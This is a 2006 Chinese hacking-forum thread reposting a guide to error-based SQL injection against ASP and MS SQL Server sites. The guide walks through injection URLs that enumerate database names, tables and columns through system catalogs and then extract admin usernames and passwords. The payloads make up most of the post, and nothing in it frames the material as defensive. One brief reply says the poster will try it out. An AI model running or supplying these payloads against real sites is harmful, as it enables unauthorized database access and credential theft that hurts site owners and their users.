飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 1512|回复: 1

从暴库到暴密码的一般步骤

[复制链接]
  • TA的每日心情

    2022-1-22 22:38
  • 签到天数: 16 天

    [LV.4]偶尔看看III

    发表于 2006-6-15 17:07:04 | 显示全部楼层 |阅读模式
    从暴库到暴密码的一般步骤


    信息来源:lanker blog
    文章作者:lanker

    看了臭要饭写的跨库查询,我整理了一下从暴库到暴出密码等的一般
    步骤,使得思路更清晰些。
    SQL INJECTION 灵活多变,注入的语句不一,下面只提供暴库的一般
    步骤,希望能对你有帮助。

    1:暴出所有库名.
    http://www.xxx.com/xxx.asp?id=1 and 0<>(select count(*)
    from master.dbo.sysdatabases where name>1 and dbid=6)
    依次提交 dbid = 7,8,9.... 得到更多的数据库名

    2:暴出库中的表
    假设存在一个bbs的数据库,提交下面的语句:
    http://www.xxx.com/jump.asp?id=1 and 0<>(select top 1 name
    from bbs.dbo.sysobjects where xtype='U')
    来得到一个表 假设为 admin
    提交:
    http://www.xxx.com/jump.asp?id=1 and 0<>(select top 1 name
    from bbs.dbo.sysobjects where xtype='U' and name not in
    ('Admin'))
    来得到其他的表。

    3:暴出表中的字段
    提交:
    http://www.xxx.com/xxx.asp?id=1 and 0<>(select count(*)
    from bbs.dbo.sysobjects where xtype='U' and name='admin'
    and uid>(str(id)))
    得到UID的数值假设为18779569 uid=id
    提交:
    http://www.xxx.com/xxx.asp?id=1 and 0<>(select top 1 name
    from bbs.dbo.syscolumns where id=18779569)
    得到一个admin的一个字段,假设为 user_id
    提交:
    http://www.xxx.com/xxx.asp?id=1 and 0<>(select top 1 name
    from bbs.dbo.syscolumns where id=18779569 and name not in
    ('id',...))
    来暴出其他的字段

    4:暴出用户名和密码等
    假设存在user_id username ,password 等字段,提交:
    http://www.xxx.com/xxx.asp?id=1 and 0<(select user_id from
    BBS.dbo.admin where username>1)
    可以得到用户名
    依次可以得到密码。
    PYG19周年生日快乐!
  • TA的每日心情
    开心
    2019-2-22 17:11
  • 签到天数: 18 天

    [LV.4]偶尔看看III

    发表于 2006-6-17 07:20:06 | 显示全部楼层
    不会这么简单把,试试看
    PYG19周年生日快乐!
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表